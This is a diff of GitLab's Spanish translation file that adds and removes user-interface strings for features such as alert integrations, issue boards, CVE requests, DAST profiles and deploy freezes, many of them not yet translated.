msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,22 +2981,34 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr "Guardar integración"
+msgid "AlertSettings|Save integration & send"
+msgstr ""
+
msgid "AlertSettings|Select integration type"
msgstr "Seleccionar tipo de integración"
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Send test alert"
msgstr ""
-msgid "AlertSettings|Send test alert"
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr "AlertSettings|URL del webhook"
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr "Permitir a los propietarios de los grupos administrar configuraciones re
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Permitir que sólo los protocolos seleccionados tengan acceso a Git."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr "Dominios permitidos para suscripciones"
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Sólo los grupos de nivel superior pueden restringir los dominios de correo electrónico permitidos"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr "También llamado \"emisor\" o \"identificador de confianza\""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "También llamado \"URL de servicio confiable\" o \"URL de respuesta\""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Se ha producido un error"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "Se ha producido un error al agregar un borrador a la discusión."
@@ -3338,6 +3440,9 @@ msgstr "Se ha producido un error al recuperar los comentarios pendientes"
msgid "An error occurred while fetching projects autocomplete."
msgstr "Se ha producido un error al obtener la información de autocompletado de los proyectos."
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Se ha producido un error al obtener los datos de la barra lateral."
@@ -3350,9 +3455,6 @@ msgstr "Se ha producido un error al obtener los informes de terraform."
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Se ha producido un error al obtener la lista de tableros. Por favor vuelva a intentarlo."
-msgid "An error occurred while fetching the builds."
-msgstr "Se ha producido un error al obtener el resultado de los trabajo de las construcción."
-
msgid "An error occurred while fetching the job log."
msgstr "Se ha producido un error al obtener el log del trabajo."
@@ -3443,7 +3545,7 @@ msgstr "Se ha producido un error al cargar el archivo."
msgid "An error occurred while loading the file. Please try again later."
msgstr "Se ha producido un error al cargar el archivo. Por favor, inténtelo más tarde."
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr "Ya existe un dominio serverless a nivel de instancia."
msgid "An issue already exists"
msgstr "Ya existe una incidencia"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Una incidencia puede ser un error, una tarea pendiente o una solicitud de una nueva funcionalidad que debe tratarse en un proyecto. Además, recuerde que las incidencias se pueden buscar y filtrar."
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr "Reglas de aprobación"
msgid "Approval rules reset to project defaults"
msgstr "Reglas de aprobación restablecidas a los valores predeterminados del proyecto"
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d miembro"
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{count} aprobación requerida para %{membersCount}"
msgstr[1] "%{count} aprobaciones requeridas para %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Aprobadores"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "Nombre"
@@ -3826,9 +3934,6 @@ msgstr "Nombre de la regla"
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "por ejemplo, QA, Seguridad, etc."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "¿Estás seguro de que deseas descartar los cambios no guardados?"
@@ -4026,6 +4137,12 @@ msgstr "¿Está seguro de que desea detener este entorno?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "¿Está seguro que quieres desbloquear %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "¿Está seguro de que desea darse de baja de la %{type}: %{link_to_noteable_text}?"
@@ -4068,14 +4185,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "el %{user} hizo push a la rama %{branch} de %{project_name} ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Teamwork sin correo electrónico"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "Lista de ramas separadas por comas que se inspeccionarán automáticamente. Dejela en blanco para incluir todas las ramas."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "El token de acceso personal del usuario. El usuario debe tener acceso a la tarea, todos los comentarios se atribuirán a este usuario."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "Ascendente"
@@ -4501,6 +4618,9 @@ msgstr "El avatar será eliminado. ¿Está seguro?"
msgid "Average per day: %{average}"
msgstr "Promedio por día: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "Volver a la página %{number}"
@@ -4603,6 +4723,9 @@ msgstr "Un usuario con acceso a la API, si es aplicable"
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Clave del plan de construcción de Bamboo como KEY"
@@ -4621,6 +4744,9 @@ msgstr "Tenga cuidado. Cambiar el espacio de nombres del proyecto puede tener ef
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Tenga cuidado. Cambiar el nombre del repositorio de un proyecto puede tener efectos secundarios no deseados."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Iniciar con el commit seleccionado"
@@ -4645,8 +4771,8 @@ msgstr "Facturación"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "actualmente, @%{user_name} está utilizando el plan %{plan_name}."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr "Enhorabuena, su plan de prueba está activado."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr "Incidencia bloqueada"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr "Tableros"
msgid "Boards and Board Lists"
msgstr "Tableros y listas de tableros"
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr "Editar tablero"
msgid "Boards|Expand"
msgstr "Expandir"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "Ver alcance"
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr "por"
msgid "CHANGELOG"
msgstr "CHANGELOG"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr "Analíticas de CI/CD"
-
-msgid "CI / CD Settings"
-msgstr "Configuración de CI/CD"
-
msgid "CI Lint"
msgstr "Cl Lint"
@@ -5223,6 +5365,12 @@ msgstr "CI/CD se ejecutará utilizando las credenciales asignadas anteriormente.
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "Configuración de CI/CD"
@@ -5312,6 +5460,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de callback"
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr "Cancelado el despliegue a"
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "Cancelando la vista previa"
@@ -5528,6 +5700,9 @@ msgstr "Cambiar plantilla"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Cambie este valor para modificar la frecuencia con la que la interfaz de usuario de GitLab obtiene las actualizaciones."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Cambiar el título"
@@ -5555,6 +5730,9 @@ msgstr "Cherry-pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Revertir"
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Esta acción creará un nuevo commit para deshacer los cambios existentes."
@@ -6212,6 +6396,9 @@ msgstr "Cerrar %{issueType}"
msgid "Close %{tabname}"
msgstr "Cerrar %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Cerrar épica"
@@ -6245,6 +6432,48 @@ msgstr "Cerrado: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Cierra este %{quick_action_target}."
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "Clúster"
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr "Nombre"
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr "Asegúrese de que su cuenta %{link_to_requirements} cumple con los requi
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "Administre su cluster de Kubernetes visitando %{provider_link}"
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr "Commit..."
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr "Nombre de la empresa"
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr "Escaneo de contenedores"
msgid "Container does not exist"
msgstr "El contenedor no existe"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "Imágenes del registro de contenedores"
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] "%{count} Etiqueta"
msgstr[1] "%{count} Etiquetas"
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr "%{imageName} etiquetas"
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr "Error de conexión de Docker"
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr "Etiquetas de la imagen"
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr "Copiar"
msgid "Copy %{http_label} clone URL"
msgstr "Copiar la URL %{http_label} de clonado"
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr "Copiar la URL de clonado del protocolo %{protocol}"
@@ -8374,9 +8630,6 @@ msgstr "Copiar los comandos"
msgid "Copy commit SHA"
msgstr "Copiar el SHA del commit"
-msgid "Copy email address"
-msgstr "Copiar la dirección de correo electrónico"
-
msgid "Copy environment"
msgstr "Copiar entorno"
@@ -8434,9 +8687,18 @@ msgstr "Copiar valor"
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr "No se puede agregar administradores como miembros"
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr "No se pudo encontrar el diseño."
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr "No es posible eliminar el disparador."
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr "País"
@@ -8539,17 +8813,15 @@ msgstr "Cobertura"
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr "Crear"
msgid "Create %{environment}"
msgstr "Crear %{environment}"
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr "Crear %{type}"
@@ -8694,9 +8966,6 @@ msgstr "Crear nuevo archivo"
msgid "Create new file or directory"
msgstr "Crear un nuevo archivo o directorio"
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr "Crear nueva etiqueta"
@@ -8718,6 +8987,9 @@ msgstr "Crear requisito"
msgid "Create snippet"
msgstr "Crear fragmento de código"
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr "Crear comodín: %{searchTerm}"
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr "Creado"
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr "Creado %{timestamp}"
@@ -8934,6 +9209,9 @@ msgstr "Creando épica"
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr "La creación de los gráficos utiliza los datos del servidor Prometheus. Si esta proceso tarda mucho tiempo, asegúrese de que los datos estén disponibles."
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr "Fecha de creación"
@@ -9236,8 +9514,10 @@ msgstr "Seleccionar etiquetas"
msgid "CycleAnalytics|Show"
msgstr "Mostrar"
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr "Mostrando las etiquetas %{subjectFilterText} y %{selectedLabelsCount}"
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr "Nombre de usuario"
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr "Día del mes"
@@ -10054,13 +10367,19 @@ msgstr "Desplegar en..."
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr "Revocar"
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr "Revocar %{name}"
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr "Nombre de usuario"
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr "Descripción:"
msgid "Descriptive label"
msgstr "Etiqueta descriptiva"
-msgid "Deselect all"
-msgstr "Deseleccionar todo"
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr "Detalles (por defecto)"
msgid "Detect host keys"
msgstr "Detectar las claves del host"
+msgid "DevOps Adoption"
+msgstr ""
+
msgid "DevOps Report"
msgstr "Informe DevOps"
-msgid "DevopsAdoption|%{selectedCount} group selected"
-msgstr ""
-
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr "Ocultar la promoción del merge request"
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr "Editar aplicación"
msgid "Edit comment"
msgstr "Editar comentario"
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr "Editar descripción"
@@ -11009,6 +11325,9 @@ msgstr "Editar los archivos en el editor y confirmar los cambios aquí"
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr "Editar grupo: %{group_name}"
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr "Activar Auto DevOps"
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr "Habilitar PlantUML"
msgid "Enable Pseudonymizer data collection"
msgstr "Habilitar la recolección de datos Pseudonymizer"
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr "Habilitar el acceso a Grafana"
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr "Habilitar el acceso a la barra de rendimiento para un grupos determinado."
@@ -11276,6 +11604,9 @@ msgstr "Habilitar y configurar las métricas de Prometheus."
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
